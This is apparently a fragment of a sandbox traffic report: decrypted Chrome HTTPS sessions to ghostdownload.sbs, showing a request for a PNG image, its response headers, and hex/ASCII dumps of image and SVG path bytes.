7,0.266,0.068,0.37c0.097,0.198,0.268,

2022-01-13 21:05:20 UTC 125 IN Data Raw: 32 62 34 0d 0a 33 37 39 2c 36 31 2e 33 38 20 20 63 30 2c 31 2e 33 37 35 2d 30 2e 31 31 34 2c 32 2e 37 31 39 
2d 30 2e 32 30 35 2c 34 2e 30 37 38 43 34 34 38 2e 32 39 35 2c 32 39 33 2e 39 36 32 2c 34 36 36 2c 33 31 33 2e 30 35 
38 2c 34 36 36 2c 33 33 36 2e 32 39 32 7a 20 4d 31 38 37 2e 30 38 36 2c 32 35 37 2e 31 37 38 20 20 63 38 2e 31 31 32 
2d 34 31 2e 33 39 36 2c 34 35 2e 30 31 31 2d 37 32 2e 39 37 39 2c 38 38 2e 34 31 31 2d 37 32 2e 39 37 39 63 32 35 2e 3
7 37 39 2c 30 2c 35 30 2e 30 33 39 2c 31 30 2e 39 37 36 2c 36 37 2e 30 32 33 2c 32 39 2e 38 35 38 63 37 2e 31 30 32 2d 
32 2e 31 34 32 2c 31 34 2e 34 35 34 2d 33 2e 32 32 31 2c 32 31 2e 39 35 31 2d 33 2e 32 32 31 20 20 63 30 2e 30 34 35 
2c 30 2c 30 2e 30 38 33 2c 30 2c 30 2e 31 32 31 2c 30 63 2d 35 2e 30 
Data Ascii: 2b4379,61.38  c0,1.375-0.114,2.719-0.205,4.078C448.295,293.962,466,313.058,466,336.292z M187.086,2
57.178  c8.112-41.396,45.011-72.979,88.411-72.979c25.779,0,50.039,10.976,67.023,29.858c7.102-2.142,14.454-3.22
1,21.951-3.221  c0.045,0,0.083,0,0.121,0c-5.0

2022-01-13 21:05:20 UTC 126 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data
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Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.4 2413 172.67.167.234 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2022-01-13 21:05:19 UTC 14 OUT GET /file-7564c3328869m00865113607754b653/assets/images/pdf.png HTTP/1.1
Host: ghostdownload.sbs
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-01-13 21:05:20 UTC 126 IN HTTP/1.1 200 OK
Date: Thu, 13 Jan 2022 21:05:20 GMT
Content-Type: image/png
Content-Length: 153173
Connection: close
cache-control: public, max-age=604800
expires: Thu, 20 Jan 2022 21:05:20 GMT
last-modified: Sun, 23 May 2021 07:52:19 GMT
x-turbo-charged-by: LiteSpeed
CF-Cache-Status: MISS
Accept-Ranges: bytes
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mOYIYVB4FB%2BLIm61LDCj3UOLJHxZll
1vhNX7YzlaNniH4tofNwUAiiiZaTjDvJT1B6qN9b%2FK1kvVGcBIMGJ6JnGOxLzWDQ%2BBe9fMqw4wtZt5U7CG9z2C
DY%2FA7iYNAr4UAMVlNA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6cd195021d764089-LHR
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

2022-01-13 21:05:20 UTC 126 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 48 00 00 03 5b 08 06 00 00 00 78 a5 bf ee 00 00 20 
00 49 44 41 54 78 9c ec bd 7b d0 66 c9 59 1f f6 eb 77 be 99 bd cf 0e 2b b4 5a 96 95 84 b8 08 10 02 84 20 60 52 90 90 38 
65 93 a4 62 c7 49 c5 ae a4 48 15 89 1d 2a 95 b2 53 21 d8 c1 05 7f c4 71 c5 81 24 e5 c2 2e 97 1d 8a b8 ca 21 60 63 8c c3 
45 48 80 41 11 08 05 09 ad ae 88 d5 0a 69 b5 37 cd ec cc ee ec 6d 66 76 76 2e df e5 ed fc 31 6f f7 f9 3d bf 7e fa bc df cc 
fb 7e 33 e7 9d ef f9 55 cd 9c f3 f6 e5 79 7e fd 74 9f ee 7e ba fb 9c 2f e5 9c 33 d6 88 73 e7 ce 61 5d 22 53 4a 38 71 e2 c4 
5a 64 15 04 bf d5 10 fc 56 c7 d4 39 06 bf d5 10 fc 56 c7 d4 39 06 bf d5 10 fc d6 87 a9 73 0d 7e ab 21 f8 ad 0f d7 cb 75 0b 
c0 da 0a 57 64 ad 5b de 3a 11 fc 56 97 77 d8 f8 
Data Ascii: PNGIHDRH[x IDATx{fYw+Z `R8ebIH*S!q$.!`cEHAi7mfvv.1o=~~3Uy~t~/3sa]"SJ8qZdV9V9s~!uWd[:Vw

2022-01-13 21:05:20 UTC 127 IN Data Raw: e5 1a da 24 d2 78 bb bf 2e fb 8d c4 b3 ae 26 cf 0a 0f 33 db e0 d2 22 ac d7 57 b0 3d 7b 7d 0a e7 77 db da 03 0f 
62 f6 95 6f c5 ec 1b df 85 f4 f0 57 61 f6 5d df 87 f4 c6 af 40 ba e7 be 1b 2b 40 20 10 98 34 c2 41 0a 4c 1a 79 77 17 79 67 
1b bb 9f fd 24 f6 ce 9e c6 ce 13 9f c5 ee 13 8f 61 fe c2 69 cc 5f 3b 87 7c f5 4a 1d c8 f8 6a 06 38 1e 9c 65 42 ce 8e 14 cb 
30 4e 8d 0c 96 3d 3d bd 2b 8f c6 29 03 d9 99 2c 90 ca 9a 45 27 d6 59 46 71 76 c0 b8 0c 2c c4 73 58 1a dd 8b fc 25 42 27 
09 55 77 b2 93 51 76 1c 34 6d 56 67 d4 53 cc b2 52 13 3c d8 c1 09 2b 81 cd c4 76 49 de c6 19 e4 fa 6b a9 b1 7f eb ca d8 
0f c6 6c b0 1f 07 c2 fc 24 19 6e 1b ba 81 89 bd 3a 06 5e 9e 62 27 6d 83 1e bf da 16 1d 1e fb 99 d4 7b 4e 56 d7 d9 f7 c2 
96 b4 3b 4f d6 d8 e2 01 1c 0e fb f6 e2 c9 1e c6 
Data Ascii: $x.&3"W={}wboWa]@+@ 4ALywyg$ai_;|Jj8eB0N==+),E'YFqv,sX%B'UwQv4mVgSR<+vIkl$n:^b'm{NV;O

2022-01-13 21:05:20 UTC 128 IN Data Raw: 65 69 5d 72 9d 43 6c 64 38 4a fd b2 e3 6b 3b 88 96 b7 d6 83 36 43 af 7f a8 ed 36 5b 3b b3 01 b8 2d e9 b3 de 
d8 4b fa 92 a6 fd 70 06 87 17 b7 45 5e 8c c8 4f fd 09 f0 d4 9f 00 19 98 bd eb bb b0 f5 1f fd 17 ad 31 02 81 c0 c6 20 1c a4 
c0 e4 b0 fd d9 4f 62 ef 99 2f 60 fe fc 69 e4 dd 6d 33 a9 01 60 06 af 1a c4 93 1b 4a 67 7e 7b 69 d0 4f db a4 73 f2 b8 79 93 
f0 61 e4 36 9e 27 37 e8 e4 73 69 a8 7e 0d e6 c9 19 c7 ab fd cc ec d6 c9 e7 4c 7a 58 80 56 4b 6f b7 c0 4c 68 55 8c 94 5b 
f5 f6 76 da bc 32 30 ff cc f1 9e 8c 6c ed 5f 65 4a a1 46 eb 43 26 b3 4d 33 ed d4 0f 96 c4 d7 72 94 b2 2c ec da ab 0e 4f ae 
f7 b3 a9 07 a7 ae d5 1e 26 5f a9 5f 10 af 92 c0 6b 6f 80 b5 7f 72 74 39 c8 f2 bc f2 82 84 9b 37 59 5d 09 68 76 41 0c e7 64 
cb 68 9e 0b ce 43 b3 78 d7 1e 9d 32 78 61 6a 
Data Ascii: ei]rCld8Jk;6C6[;-KpE^O1 Ob/`im3`Jg~{iOsya6'7si~LzXVKoLhU[v20l_eJFC&M3r,O&__kort97Y]hvAdhCx2xaj

2022-01-13 21:05:20 UTC 130 IN Data Raw: 3d 98 ca b3 79 8a 8d 7a 76 64 bd a3 65 cc 62 67 4a cb 3a b4 ef e0 78 8f b7 b7 5b e9 3d 53 59 78 d5 76 97 ac 
fc 92 d6 7c c2 1a 7e b9 9b 76 2b fd 46 a3 0b 18 af e7 91 36 cf 37 b5 dd 3a f1 bd 7a e0 b6 5e db a8 e8 72 ed cc 6d 69 c1 
97 f3 98 0f af 50 18 1c f9 fa 81 0a 2e 60 a6 fa e0 67 93 39 18 4e 8b f8 f9 c9 a7 91 ce bd 8c 2b bf f7 3e dc 75 fc 04 b6 1e f9 
2a 04 02 81 cd 40 ec 20 05 a6 83 9d 6d ec 3c fe 29 cc 5f 3e 6b c3 13 cc 6e 42 3d 56 c2 ff 72 93 a5 99 84 99 89 06 0f f6 14 
0e 9e 94 14 d0 8f cc fa bc c1 94 f5 12 67 33 39 e0 d5 49 ce 46 13 bd 94 5b b1 7a 36 df ec 92 48 e2 2c 37 26 5a d3 16 2e 
99 9c 12 49 cf f1 e0 fb de e4 36 d7 62 36 b2 9a db 26 d1 22 be 53 b7 6e 5a e2 55 f3 0a 1f e6 35 9a 16 b6 de 1a 19 14 dc 
33 81 79 4f 83 db ad 93 ce 4c 36 d3 10 ee 9a 36 
Data Ascii: =yzvdebgJ:x[=SYxv|~v+F67:z^rmiP.`g9N+>u*@ m<)_>knB=Vrg39IF[z6H,7&Z.I6b6&"SnZU53yOL66

2022-01-13 21:05:20 UTC 131 IN Data Raw: ca 9d 29 9e c3 6b 1e 27 6d 92 70 c3 b5 dc 4b d9 92 da 9b ec 98 45 46 a6 30 ae 13 a3 2f 0d f9 53 6a e5 b2 7c 
0e 5b 56 46 d3 0e c5 de 26 8f 96 51 d2 70 bb 34 ed 96 6c 6d da b0 c7 b7 63 2f 6e 3f 4d 79 20 7c 95 7b 92 30 4f ae 97 9f 
74 75 e5 7b e5 25 1b d5 af c9 11 87 9e de 6a 3b d2 67 64 a1 bd 67 bd 5e 5b ea c5 7b 72 b9 7e 3d 5d 19 83 3d 38 9e f3 98 
f6 53 e4 7a 61 10 be 9e 5c b5 41 af 1e d2 b8 3d b8 7f 31 cf 89 c3 8b cb 03 27 0f 7f c8 83 eb d4 fb f0 84 e1 e0 b4 db 66 e1 
83 6c a0 bb f3 ac 8b ed e4 d9 ab 5e 3a 76 64 7b 37 0e 9e 96 8b f3 eb bd da 8e fb ad e2 54 bd fc 22 f6 be f4 45 6c ff f1 c7 
b0 7b f2 29 ec e9 3b b7 b7 10 1b 39 67 98 10 82 df 6a 98 1a bf 49 ef 20 05 0e 21 68 85 8f 51 27 0e 09 e6 03 06 66 57 86 
07 e5 92 40 07 76 b4 03 16 0f 92 3c c8 9a af d8 01 
Data Ascii: )k'mpKEF0/Sj|[VF&Qp4lmc/n?My |{0Otu{%j;gdg^[{r~=]=8Sza\A=1'fl^:vd{7T"El{);9gjI !hQ'fW@v<

2022-01-13 21:05:20 UTC 132 IN Data Raw: 0e b2 5d d3 6f 8d f0 36 f2 47 ea bf 67 8b 62 27 93 a7 d3 77 78 e5 f1 76 75 aa 0c 79 4e 4d 7f e9 f5 a9 4b d2 ba 
ed a8 57 1f 4e df c4 bc cc 70 e2 84 01 40 7e f9 79 ec be ef 17 90 9f 3f 85 f4 f6 77 e2 e8 7f fb b7 1d 81 7d 1c e6 39 c3 3a 
10 fc 56 c3 41 f3 bb 95 5c e3 1d a4 c0 a4 c1 2b 74 75 12 b4 f8 5d 57 01 39 0d 4f e4 4a 30 0f ae ec 2c c9 64 4f 27 b5 66 67 
85 06 cd 4c 71 45 7e 52 2e b0 03 61 33 e6 ca a4 b9 3a 02 94 c4 4c 9e 85 bf 91 57 26 37 92 d6 cc 39 65 a2 c7 fa 9b 63 63 
e4 98 f0 b1 b6 ee 0e 5b b6 69 b5 cc 5e bc 7e 6a 17 8e ac 66 a2 4c bc 3c bd 32 7f b6 b6 23 41 99 f3 7a 69 93 bd 2f e9 b3 
f0 32 32 a4 6c dd 77 5d 28 1f 9c 30 76 b0 3d 59 35 0c 30 f5 58 ed 50 44 33 af a1 48 7e bc c8 35 b2 a4 0c 76 a6 69 0d ce 
79 8a 0e ef 1d 41 b7 3c 54 4f dd f2 36 b3 53 9b 
Data Ascii: ]o6Ggb'wxvuyNMKWNp@~y?w}9:VA\+tu]W9OJ0,dO'fgLqE~R.a3:LW&79ecc[i^~jfL<2#Azi/22lw](0v=Y50X
PD3H~5viyA<TO6S
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2022-01-13 21:05:20 UTC 134 IN Data Raw: 38 f2 44 cb 91 65 8e b9 48 d1 cc 0e 89 a4 c9 92 58 db 44 e6 fc 12 ce bc 79 72 ee 3a 2b 5e 7e 69 97 25 1e 9d 
7b 99 6f 36 7c 4d 19 3b b2 58 2f 4f ae cd 11 28 8a 6c 78 e7 8e dc 24 3a 73 cb 41 a8 db 67 c7 29 03 b7 03 ad 57 6e 7f c6 
2e 34 a1 06 87 3b f9 8d 0e d6 ab bc 45 87 d6 5d 73 8c 4b cb e9 e9 ea b4 11 ad 27 93 84 f2 eb 07 39 b4 cf 71 ed 25 32 7b 
6d b1 ab 37 3b 69 29 de 6b 2b 4d 1b 67 1b 38 b6 61 7b 65 0c 7a 8d 6d 84 ab b9 cf 36 dc 8c 07 de f3 e4 d5 a3 96 87 cb 5a 
6c eb d5 a9 72 73 c2 72 02 70 ea 69 cc 4f 3d 0d 3c f0 46 cc de f5 dd d8 fa f3 ff 79 9b 29 10 08 1c 28 c2 41 0a 4c 1f 32 c9 
e1 af c5 99 6b 49 be 18 8d 52 fd 0f 75 00 e5 3c 3a 51 35 2b b2 69 18 7c 13 c9 55 bd 66 f0 e5 f0 02 19 90 cd 5c bb 38 26 
32 80 9a 7c 49 b8 50 5a 55 ef a8 33 26 04 06 3b 65 49 
Data Ascii: 8DeHXDyr:+^~i%{o6|M;X/O(lx$:sAg)Wn.4;E]sK'9q%2{m7;i)k+Mg8a{ezm6ZlrsrpiO=<Fy)(AL2kIRu<:Q5
+i|Uf\8&2|IPZU3&;eI

2022-01-13 21:05:20 UTC 135 IN Data Raw: d5 44 9e 7c 2c e4 37 5f e1 4a 72 a5 9f 3a e1 ec 4d b8 1b e7 4e ed 51 44 93 fe c6 71 01 dc d5 f4 2e c6 26 82 9d 
c9 14 60 27 5a 4d 82 de 24 ce 99 90 7b bb 50 7a 44 d1 88 48 12 d6 9b 58 b1 0d c8 e6 de 24 dc dd a5 a0 55 5d 77 82 0c 
3b a9 f4 e2 55 96 e1 d7 d1 cb 99 bb 75 37 e6 f9 72 3b 4c 6d b0 11 43 13 4d f3 75 2e ae f7 05 c7 31 9b d7 20 b2 57 d3 5e 
40 76 e8 f0 d7 79 b5 3c 4e dd b4 1e b4 3d a9 5e f3 f8 3a 7c f4 f3 f7 9e ed 5c 3b b0 ad bc 67 87 da 55 73 64 12 ad 1d 35 5f 
f3 35 49 d1 55 16 4d b2 28 ae 6d 9d ec c0 a2 74 17 5e e5 9a 7e 2b 59 59 45 57 b5 a7 3e 64 25 8e ea 41 f3 68 9b 30 65 
60 af a3 e4 e3 7e 3b 19 d1 a6 ef f0 9e 43 b6 3d a7 35 36 73 b8 98 67 1e c4 81 9e d7 92 b6 d7 3e bd dd 36 2e 83 e9 bb 17 
f7 f3 53 4f 03 17 5e c5 fc c1 87 71 e4 81 07 81 87 df d2 
Data Ascii: D|,7_Jr:MNQDq.&`'ZM${PzDHX$U]w;Uu7r;LmCMu.1 W^@vy<N=^:|\;gUsd5_5IUM(mt^~+YYEW>d%Ah0e`~;C
=56sg>6.SO^q

2022-01-13 21:05:20 UTC 136 IN Data Raw: 3a d9 db c3 de ef ff 26 2e bd 72 16 bb cf 7c 01 f7 fc c0 5f c5 ec f8 09 04 02 81 f5 20 1c a4 c0 e4 60 26 04 8b 00 
33 e1 4c 76 a0 e0 cf d2 f2 e4 8a 27 25 de 8c 87 07 6d 7d c7 62 f8 db 35 09 f9 8e 3b 31 7b e3 43 c8 77 de 05 1c bd 03 b3 
bb ef 35 7c dd 49 fe c8 64 66 eb e8 96 9b 66 cc 59 18 c3 ee ce ee f5 67 1a 41 e5 b7 0e 64 60 77 77 1f fc 7a f6 72 c2 f7 c3 
af b1 a5 ce 76 e9 be f2 5b 36 01 cd d7 26 9e cb b0 75 74 6b 69 5d 5e 4f 9b d9 57 fd 2e f3 60 85 df 7e d0 2d 83 3c 4f 5d 7e
c4 69 a9 ed 84 ff 18 47 7d e7 66 b4 dc 4b 38 ee b7 4e 55 d7 a8 0d f7 53 17 92 a6 f2 73 f2 2e e3 e8 c5 f7 f8 2d ed 63 f6 d3 
06 c9 a9 50 bd dd a2 3b f5 6b 82 ae a3 fd ce af 5e 01 2e 5f c2 fc d5 97 30 bf 7c 09 e9 c2 ab fb 23 41 61 8d 0d c4 81 eb b5 
af 1e c5 24 3f 7a e9 cc 7b b0 c5 b1 2a 
Data Ascii: :&.r|_ `&3Lv'%m}b5;1{Cw5|IdffYgAd`wwzrv[6&utki]^OW.`~-<O]~iG}fK8NUSs.-cP;k^._0|#Aa$?z{*

2022-01-13 21:05:20 UTC 138 IN Data Raw: d1 40 54 5e 56 4d 92 c7 38 4b 65 c7 28 39 e2 74 45 30 b5 e1 07 8d c3 5c c7 eb 40 f0 5b 0d 53 e7 07 4c 9f 63 
f0 5b 0d 2b f3 3b b2 05 dc 73 1f b0 75 cc 9c 08 30 ef f2 40 4e 24 a4 76 81 8d c7 00 ef 63 0a 75 a1 8d 8f c3 a5 c6 37 32 e9 
65 63 c9 c8 75 36 9e ec 51 3e 2a 83 f7 91 86 7a 42 82 65 d1 62 60 4e 40 ba 72 09 7b ff ef af 21 bf 70 0a f3 8f 7f 08 5b ff f5 
8f 21 1d bd fe 77 92 d6 85 db be 2d 1e 30 82 df fa b0 5f ae f1 77 90 02 93 44 ed fc cb 0a 60 92 81 04 b2 aa 07 19 ec e8 ca 
69 33 65 28 ab 86 25 2d 64 40 0a 04 02 81 c0 84 31 9b 21 cd 66 ee bb 43 da 89 bb 7d 7a c7 53 f1 d2 96 39 95 59 48 73 
16 e0 78 1c c9 14 51 9d 24 e1 62 ee 9d 15 3f 5e 30 ac 1c 38 13 1f 13 a4 ec 39 67 a4 cb af 23 3f ff dc b5 64 5f fc 2c f0 86 
37 21 3d f8 b0 53 ba 40 20 a0 38 b8 f3 43 81 
Data Ascii: @T^VM8Ke(9tE0\@[SLc[+;su0@N$vcu72ecu6Q>*zBeb`N@r{!p[!w-0_wD`i3e(%-d@1!fC}zS9YHsxQ$b?^089
g#?d_,7!=S@ 8C

2022-01-13 21:05:20 UTC 139 IN Data Raw: 98 26 8a 83 03 7f 97 a7 a4 31 bf 31 fc 76 07 3b c7 f9 d1 af 15 85 73 14 08 04 02 9b 07 75 0e 7a fd 79 a2 b8 44 
8b 6b fc 37 87 54 16 e7 c9 4e bc a2 ca 97 30 a3 c7 e1 e5 fd 30 0b 7e 68 e5 0e 09 87 7c d7 33 96 5d fb 3b 4d 19 e9 c2 39 
e4 53 4f 61 f7 c8 0c bb 4f 7f 01 47 1e 7a 04 47 de f8 d0 fe 84 04 02 b7 21 26 7d c4 2e a5 84 dc fc 15 b6 e9 20 f8 ad 86 1e 
bf 7a fc cd 09 07 e8 fd 24 0a 6b f2 3b ab 76 63 1f 78 68 e2 17 49 a6 6c 3f 60 73 eb 78 2a 08 7e ab 61 ea fc 80 e9 73 0c 7e 
ab 21 89 27 90 d5 e1 71 f3 d8 b4 1a e7 95 b6 39 d2 3d 4a 8a f8 50 fe 66 91 8f e2 d1 1b d7 f8 f8 77 ea c7 c3 1b f3 04 9e 2e 
96 3b 7f e1 39 6c 3f fa 41 bc fe 4f 7e 0a 57 7e fb 97 7d 21 b7 10 9b d0 16 83 df 8d 63 6a fc 26 bd 83 94 73 6e 3a bf 29 21 
f8 ad 86 1e bf 04 98 bf e3 60 c2 f9 e8 03 
Data Ascii: &11v;suzyDk7TN00~h|3];M9SOaOGzG!&}. z$k;vcxhIl?`sx*~as~!'q9=JPfw.;9l?AO~W~}!cj&sn:)!`

2022-01-13 21:05:20 UTC 140 IN Data Raw: 05 02 81 40 60 03 a0 e3 c4 e2 3e e7 a1 cf 5f 96 b6 3a 17 3a f6 70 7c 82 5d 5c e3 5d 1b 15 99 fc fb 86 a3 23 ab 
3a 60 0e 17 f3 de 90 e8 07 ac 33 58 77 c1 9c f2 f0 2e 96 77 cd 7c bf c8 3f ff f4 47 90 2f 9c 03 5e 7a 1e 47 fe c2 0f 22 3d f0 
46 04 02 b7 1b c2 41 0a 4c 12 e5 88 9d 76 fa 35 de 73 9a f8 27 39 47 3c 08 70 d8 20 8c 06 36 1e 4c 03 81 40 20 b0 51 f0 
9c 1b 1d 43 ba 0e 10 68 8c d0 7c bc fb e4 c8 f2 86 a3 ba bb 94 f8 d8 b6 2b d2 fe 70 74 79 ef e0 9a 78 ca d7 38 83 90 71 
4d c7 40 85 ee 68 69 da 57 5e c2 7c eb 8b 48 47 8e 60 f6 a7 fe 34 30 9b 21 9d 78 c3 88 c0 40 60 f3 10 0e 52 60 72 e0 23 
0b 7c 4e ba d9 19 82 df cf 1b a7 ca 1b 8c 78 80 71 e4 97 01 68 3a 1b bd 81 40 20 10 d8 17 3a 4e 91 49 d2 59 5c 2b e0 bf 
07 a4 72 a1 0e 8a 33 16 d5 b1 84 64 79 4e 4b 92 
Data Ascii: @`>_::p|]\]#:`3Xw.w|?G/^zG"=FALv5s'9G<p 6L@ QCh|+ptyx8qM@hiW^|HG`40!x@`R`r#|Nxqh:@ :NIY\
+r3dyNK

2022-01-13 21:05:20 UTC 142 IN Data Raw: 37 66 e1 cd 19 ab 78 80 29 32 92 93 b6 d1 21 79 74 dc 32 ef 0f 69 7e e5 a0 ba b2 c8 95 b2 b1 ac 5e b9 5d b9 
9a 0f c0 de 0b 67 ae dd dc 79 37 8e 7d fb f7 20 dd 77 e2 96 bf 93 74 98 9f 95 75 60 ea fc 18 ab 70 5d 8b 83 34 75 43 05 bf 
d5 70 4b f8 e5 e1 52 3b 72 0c 5b ff ee 3b 4a 90 3c b0 e9 6a 3f ce 03 1f c9 e2 7c eb fe 43 b1 51 c7 ab 21 f8 ad 86 a9 f3 03 
a6 cf 31 f8 ad 86 9b c5 cf f8 06 9d 95 2f 6f ac e0 78 1e 2b 3c 31 ee c2 1b e9 34 63 49 f2 69 34 ba 28 93 c9 2f 5c 6a 58 49 
9b ac 2f e4 12 56 5d 94 c6 1d 23 7b 7c 35 a1 e8 72 d5 26 60 7e f6 0c b6 cf be 0f af 5d ba 88 ad 77 bc 1b f7 ff cd ff 7d 99 
86 03 45 3c 2b ab 61 ea fc 18 ab 70 dd 5a 67 41 0f c2 68 c1 6f 3a 32 0f 9c df e2 ac 5c 4a 09 f3 b2 32 05 d9 51 4a 18 b6 f0 
e9 ea 0d 60 bc 1a 98 61 d3 1a 07 ca 93 55 
Data Ascii: 7fx)2!yt2i~^]gy7} wtu`p]4uCpKR;r[;J<j?|CQ!1/ox+<14cIi4(/\jXI/V]#{|5r&`~]w}E<+apZgAho:2\J2QJ`aU

2022-01-13 21:05:20 UTC 143 IN Data Raw: 86 ca f2 74 e5 11 7b 7a bc 40 bc 12 db b1 a4 79 e1 39 cc 9f 7f 0e bb 47 b6 30 fb e6 ef c4 d6 7f f9 23 08 04 6e 
35 c2 41 0a 4c 13 d4 a1 7b ab 55 25 8d fe 36 47 ec 32 ad b4 c9 60 c7 03 16 a7 e5 e3 78 cc 23 10 08 04 02 13 87 b7 b0 
a6 f7 34 39 2f 61 bc fb 01 c8 11 36 de 9a 71 64 e9 82 5e 3d f1 e0 e4 77 8f f8 d1 bd ea ad 74 69 fc ab 59 9c 3c 7c 94 cd 0c 
5d 23 ba 92 a6 11 59 46 17 86 3c ec bc 29 37 3d d6 e1 1d b1 cb 8e ed e6 4f 7e 0e 79 7b 07 78 e0 cb 31 fb ce 7f 0b b3 87 
df 82 40 e0 56 21 1c a4 c0 e4 a0 e7 a4 4d a7 af 83 0c d0 ae 5e 51 07 5f c7 42 49 53 be 92 57 57 ba 92 75 92 f8 48 42 20 
10 08 04 a6 0d ef 13 d9 59 c6 90 fa 1b 7e 1a 5e 8c e3 0f 5d d5 63 63 b2 ab e2 c9 4a 32 9e 78 7a ab 5c 92 a5 0e 4f 95 25 
e3 51 af 9c 26 7f b1 49 d1 09 29 ab f0 e6 7c cd 42 24 
Data Ascii: t{z@y9G0#n5AL{U%6G2`x#49/a6qd^=wtiY<|]#YF<)7=O~y{x1@V!M^Q_BISWWuHB Y~^]ccJ2xz\O%Q&I)|B$

2022-01-13 21:05:20 UTC 144 IN Data Raw: 07 ed c4 bf e7 30 41 d3 b2 cc 31 27 02 cb e5 f7 aa cb 1c 8d 73 9c 47 dd 1d eb c9 6a de f3 5a 06 6f 47 a8 97 cc 
d1 6d fe 86 e1 0b cf e1 ea d9 e7 90 b7 af e0 e8 3b bf 03 c7 ff fa 4f 5c 07 91 83 c5 26 3c 2b c1 6f ff 88 77 90 02 93 43 c2 b5 
0e 31 eb 0a 5e 89 4f ce 59 e6 91 8d 1e 8d d2 8f 36 e8 df 9e 88 8f 34 04 02 81 c0 86 a2 7b 1a a0 9f b6 7b 50 80 c2 97 fd 
1d 24 f7 7d 9c 2c e3 8a a3 af d9 ed b2 b7 ee 0e 4b a2 fb 1e 47 97 37 dd ec d7 1e fb b9 bf 2e 10 ef 66 8c 95 ad 3c f7 9d a5 
45 a6 bd 93 4f 61 fb 8f 1e c5 e5 5f ff 67 d8 8d bf 93 14 38 00 ac 75 07 69 dd de df ba 3d c9 e0 b7 1a 6e 36 3f de 2d d2 ad 
f6 ea df e8 8e 8f b3 b2 a7 0b 65 f5 3d a6 ce 19 e8 6b 0e da c1 b8 47 51 c7 ab 21 f8 ad 86 a9 f3 03 a6 cf 31 f8 ad 86 b5 f2 
4b a9 39 a2 6d de 8b c1 70 ef 85 97 30 
Data Ascii: 0A1'sGjZoGm;O\&<+owC1^OY64{{P$},KG7.f<EOa_g8ui=n6?-e=kGQ!1K9mp0

2022-01-13 21:05:20 UTC 146 IN Data Raw: df 05 e2 f1 d1 b1 ad c9 47 7c 4d 18 fc 7c 63 5c bc 78 d5 a1 ef 26 e7 2f 7e 16 f3 ed ab d8 bd e7 3e 1c f9 9e 3f 
8b f4 d0 23 08 04 ae 07 e1 20 05 26 09 d3 2f d2 4e 12 9f 75 e6 0e d9 1b 9c 6a 3e 89 33 ab 54 9e 0c 25 10 08 04 02 81 e9 
43 16 d3 ca 47 78 92 c4 67 5c 9b e4 f7 76 82 ea 0e 8e b3 58 e6 ee 72 a0 1d 7f cc d1 36 10 09 92 5b df 65 ca 36 be f2 02 
95 c1 c9 cf f4 dd f3 e9 b4 83 54 29 64 4a b2 90 d5 a4 d5 5d 2b 10 87 4c 9c a5 ec d9 d9 ad aa ef 75 89 6d b4 4e 00 0c 7f 
1c de 91 a1 36 e2 f2 34 47 1e 01 e0 ec 19 cc f7 f6 80 7b ee c3 ec 1b bf 0d 78 c3 83 48 47 8f 21 10 d8 2f c2 41 0a 4c 0e 09 
c0 1c b6 af 36 ce 8c fc 2e 70 82 ec c0 44 f9 dd b4 3c 00 ad c0 3f 10 08 04 02 b7 08 3c c1 d6 ce de d9 95 d0 ce 9e 93 27 c8
8d e7 00 c1 3a 0b 99 26 ef 2a de 73 d8 dc e3 e0 
Data Ascii: G|M|c\x&/~>?# &/Nuj>3T%CGxg\vXr6[e6T)dJ]+LumN64G{xHG!/AL6.pD<?<':&*s

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 147 IN Data Raw: 35 b4 69 95 2b 80 66 6c f5 b8 28 2f ae 93 2a 2b 61 7c 01 33 fb bc bc 0f 4c a8 0d 0c af 0c e0 ec 69 5c 3d 7b 1a 
7b 2f 3e 8f 63 ef fa 53 b8 ff 6f fd 43 04 02 05 6b d9 41 ca cd 0b 22 d3 42 f0 5b 0d 37 9b 5f e9 bb ca a0 c6 ab 41 03 27 db f1
f7 64 d4 f4 f0 3b cf 9c 87 d5 31 6f 05 72 5d 88 3a 5e 0d c1 6f 35 4c 9d 1f 30 7d 8e c1 6f 35 1c 34 3f de c1 b8 a6 cf 77 74 
5c e7 27 db fb ec 84 eb 1f 24 6d 64 29 01 b4 13 fc ea 4c c8 ee 46 23 a3 55 65 1d 83 0c 73 04 bd 97 57 af a6 3c e5 2a e3 
a1 14 c1 ca 94 b2 95 30 75 92 34 ad 91 4f db 3c 0d 47 b1 6d dd 05 32 db 48 e3 dc 58 2d 97 47 b3 f2 ef f9 d9 d3 d8 79 fc 
d3 b8 f4 ab ff 37 76 4f 3d d3 57 72 93 70 d8 9f e5 75 62 15 ae 6b 71 90 d2 f5 1e 24 bd c9 08 7e ab e1 56 f1 4b a9 dd 21 e2 
ce 53 3b fe 4c f1 80 cd a7 1d 31 af 5e 95 
Data Ascii: 5i+fl(/*+a|3Li\={{/>cSoCkA"B[7_A'd;1or]:^o5L0}o54?wt\'$md)LF#UesW<*0u4O<Gm2HX-Gy7vO=Wrpu
bkq$~VK!S;L1^

2022-01-13 21:05:20 UTC 148 IN Data Raw: 6c d7 75 ee 48 87 ee c0 f1 bd f7 de 71 52 bd 8e 3e 37 3e b5 e9 92 c4 37 7f b4 17 c0 fc cc 49 cc 3f f1 21 ec fc 
